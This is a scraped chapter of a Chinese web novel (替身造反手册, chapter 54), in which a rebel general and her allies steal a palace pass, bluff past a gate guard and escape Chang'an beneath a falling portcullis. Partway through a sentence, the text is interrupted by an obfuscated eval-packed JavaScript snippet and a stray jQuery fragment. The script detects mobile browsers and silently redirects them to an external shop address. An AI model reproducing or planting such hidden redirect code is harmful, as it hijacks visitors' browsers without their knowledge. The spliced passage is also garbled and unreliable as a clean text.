文趣网 > 其他小说 > 替身造反手册 > 54.飞鱼
    长息叼着马尾无声地笑了笑,扭头正好与苏紫臣对视,后者一边驾车一边注意她的动态,一心二用之下竟也做得两全其美。

    长息眨了眨眼,苏紫臣接到长息的信号,猛抽一鞭,大理寺的马车狠狠向内廷马车靠拢,两车轮毂“砰”地一声重重剐蹭在一起,摩擦出火花。

    撞击之下,两驾马车猛烈一震!

    毫无防备的太监被震得身体一抖,悬挂在腰间的夜行金牌在晃动之下向上抛起,连接金牌的赤色丝绦一瞬间绷得笔直。

    就是现在!

    长息眼神一凛,左手持刀如闪电般划过,没有发出一丝声响,坚韧的丝绦被丝滑地切断。在金牌失去牵引、即将坠落的刹那,她右手犹如探囊取物,稳稳将那沉甸甸的金牌一把抄在掌心。

    太监只觉腰间一轻,正欲低头查看,却又被面前倒挂女子突如其来的一击打得头晕眼花。

    缰绳把苏紫臣的双手勒得紫白,她腾出一只手往身后车厢一敲,阿兰和方环二人即刻探出身子。

    阿兰甩出烟弹,精准地掷入内廷的车厢,其内霎时间喊声四起、呛咳不断。她又掷出几枚小型炸药,炸得这重车轰隆作响,浓烟从车厢的缝隙股股冒出。

    方环则飞身上了邻驾,与车夫展开争夺,这车夫身上有些功夫,却全然不是方环的敌手,她从背后锁住其脖颈,将其勒得眼冒金星,继而踹他下了马,又割断了三匹马的缰绳。

    莫峥晚一步从车厢中钻出,跨过方才正处在缠斗中的方环和车夫,拉满弓弦,眯眼瞄准车驾外侧的轮毂,连发三箭,须臾之间卸开了车轮。

    内廷的车驾失去马的牵引,又被卸掉了车轮,已然歪歪扭扭、颤颤巍巍,仿佛下一刻就要倾倒。苏紫臣看准机会,又是狠狠一撞,直接将其顶向了辅路。

    而大理寺的马车却借势与其拉开了距离,在朱雀大街上笔直前行,直奔明德门!

    长息早就把自己翻回车顶,双腿一蹬一送,在内廷马车驶向另一条街道的刹那,整个人如同断线的风筝,借力腾空飞起,在半空中极其漂亮地翻折了一个身段,像一尾轻盈的飞鱼,转眼间落回了大理寺马车。

    “砰!”

    “砰!”

    “砰!”

    “砰!”

    只听四声结结实实的落地声响,四人接连回到了马车之上。

    长息拍了拍手上的尘土,满意地笑笑,与其他三人拍掌庆贺,又甩了甩有些酸麻的手腕,将一块雕着双龙戏珠纹样的夜行金牌随手抛给阿兰。

    “苏掌柜,干得漂亮,辛苦了!”长息不忘喊一声还在驾车的苏紫臣。

    苏紫臣并未回话,只是朝着车厢摆了摆手示意。

    “想不到风将军还有如此本事。”方环也露出笑颜。

    五人分明是第一次通力合作,却如同配合了千百次般默契。

    “行了,通行证拿到了。”长息额头布满薄汗,眼神却亮得惊人,“今晚这长安城,可留不住我们咯。”

    吴异同回身接过阿兰递来的金牌目瞪口呆,风长息真不愧为枢璇将军,在瞬息之间便能看清局势、制定策略,甚至带领所有人完美地完成。

    她们几人之间有无须多言的默契和天衣无缝的配合,吴异同觉得哪怕今晚自己不碰巧出现在案发现场,她们也能够在这重重包围的长安城逃出生天。

    莫名地,她心底燃起一股熊熊的火苗,烧得胸口热乎乎的,心脏都仿佛亢奋地要跳出嗓子眼。

    明德门前,黑压压的千斤闸早已彻底落下。数百名重甲金吾卫手持长枪,架设着八牛弩,将城门守得水泄不通。

    大理寺的马车缓缓停在城门前。

    守城校尉按刀上前,厉声喝道:“来者何人?!今夜全城缉拿叛贼风长息,无中旨擅出城门者,格杀勿论!”

    驾车的人从苏紫臣换成了莫峥,吴异同因怕狗还是待在车厢之外,与莫峥并排坐着。她哆哆嗦嗦地拿出那块夜行金牌,刚想呈上,方环已经钻出了车厢,一把夺过了那金牌。

    她脸上挂着嚣张跋扈的表情,把那金牌一亮,蛮横道:“大理寺少卿吴大人奉秘旨,连夜押送要犯尸首与西北军机去洛京!延误了圣意,你全家老小几条命够砍的?!”

    守城校尉被方环连环炮一样的话语砸得懵了,他手忙脚乱地举起火把,借着火光一看——果真是内廷的夜行金牌!上面雕刻出的龙鳞流传着细密的光泽,绝非寻常之物!

    这属实是内廷信物,只有皇帝的亲信太监才能得到。

    校尉额头上瞬间渗出冷汗,腿肚子有些发软。若真延误了宫里的机密,自己十个脑袋也不够砍!

    “还愣着干什么?!”方环步步紧逼,眼神如毒蛇般凌厉,言语更是带着说不清道不明的傲慢,“开城门!出了差池,谁付得起责任?!”

    校尉看着那在夜色中仍闪闪发亮的金牌,又看向一旁态度恶劣的女子……想必她是宫里的人,只有宫里的人才能有如此底气在长安城这样说话!

    更何况,那风长息,十有八九早就死了,今晚也不知道是闹得哪一出,不如赶紧把她们放走,省得给自己添乱!

    “……升绞盘!升千斤闸!”校尉大汗淋漓地高声嘶吼。

    咔、咔、咔、咔——

    沉重无比的铁锁绞盘开始艰难地反转,巨大的千斤闸带着刺耳的摩擦声,缓缓升起了一道仅供马车通过的缝隙。

    “驾!”莫峥拉紧缰绳,轻抽了马臀一鞭。

    然而,就在大理寺马车的车头靠近城门之时,后方的朱雀长街上,突然响起了轰鸣如雷的马蹄声!

    无数火把汇聚成一条条火龙,疯狂地朝明德门扭动而来。而为首之人,正是那个发现令牌被偷的内廷太监!

    “假的!那是叛贼!不要放行!”太监歇斯底里,尖锐的咆哮声响彻夜空,“车里是叛将风长息!羽林卫,给我放箭!放箭!砍断绞盘!绝不能让他们出城——!”

    守城校尉脸色大变,“不好!上当了!落闸!快落闸!”

    莫峥手中的马鞭抽出一道霹雳!两匹骏马仰

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17820238|208201||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    天长嘶,拉着沉重的马车发疯般向前狂奔!

    与此同时,守城官兵惊恐地砍断了悬挂千斤闸的粗大缆绳!

    轰隆——!

    数十万斤重、插满铁刺的千斤闸,如同一座坍塌的山岳,带着毁天灭地的气势,朝着马车车顶轰然坠落!

    “弃车顶!伏低!”生死悬于一发之际,车厢内爆发出一声清厉的冷喝。苏紫臣那向来如古井无波的眼底,此刻被逼出凌厉的杀机。

    血肉之躯、凡铁兵刃,绝无可能抵挡数十万斤重的千斤城闸。硬扛必是车毁人亡,粉身碎骨。她们唯一能做的,就是利用这须臾的时间差,强行改变马车的形状!

    没有丝毫犹豫,苏紫臣与方环同时拔剑。

    狭窄颠簸的车厢内,数道凄厉的剑光交错闪过。

    剑锋眨眼间切断了支撑马车顶篷的四根承重木柱。失去了支撑的车顶瞬间向下坍塌,同一时刻,长息强忍着脑海卷土重来的剧痛,一把将身前吓得呆若木鸡的吴异同按倒在车厢底板上。

    阿兰的反应也极快,把微微发抖的烤鸭护在身下。

    头顶上方巨大的阴影如同一头张开血盆大口的洪荒巨兽,即将要把整辆马车吞吃入腹。千斤闸坠落带起纷纷扬扬的尘土,与车顶一同落在众人的背脊之上。

    莫峥伏在车前,双目赤红,虎口因死死勒住缰绳而渗出血来。两匹拉车的西域骏马感受到了死亡的恐惧,爆发出前所未有的潜能,四蹄疯狂刨动,拉着残破的马车舍命狂飙。

    大理寺的马车如同一道黑色的闪电,在千斤闸落地的前一瞬,擦着铁闸的锋芒,险之又险地掠出了城门。

    车厢尾部被生生削掉,漫天的碎木屑和铁皮向四周飞溅。

    “抓紧了!”前方的莫峥大吼。

    “唔!”长息闷哼一声。一块锋利的碎木片擦着她的脸颊飞过,带出一道血痕,但她死死咬住嘴唇,忍着双手的剧痛,如铁钳般抓住了快要滑出车厢底板的冰鉴尸箱边缘。

    轰——!!

    一声震碎耳膜的巨响在明德门下炸开,千斤闸结结实实地砸了下来,闸尖狠狠刺入地面,激起漫天尘土与火星。

    明德门已被那面黑压压的千斤铁闸彻底封死。铁闸的底部深深陷入了地面的凹槽里。

    城门之后,无数火把无用地闪动。追到城门下的内廷太监和数百守城军,只能隔着厚重冰冷的铁栅栏,眼睁睁看着那辆摇摇欲坠却又坚不可摧的马车绝尘而去。

    太监跑上前,双手死死抓着铁栏杆,原本白净阴柔的脸此刻因为极度的愤怒而扭曲变形,宛如恶鬼。

    “开闸……给我把绞盘修好!升闸追啊!一群废物!废物!!”太监尖锐的嗓音在长安城的夜空中回荡,歇斯底里,却又透着无可奈何的绝望。

    强行斩断的绞盘根本不是一时半会能修复的,就算长安城内的守备军想要绕道其他城门追击,这通报、调兵、再绕行出城的时间,也足够长息一行人跑出几十里地了。

    长安,终究是没能关住她们。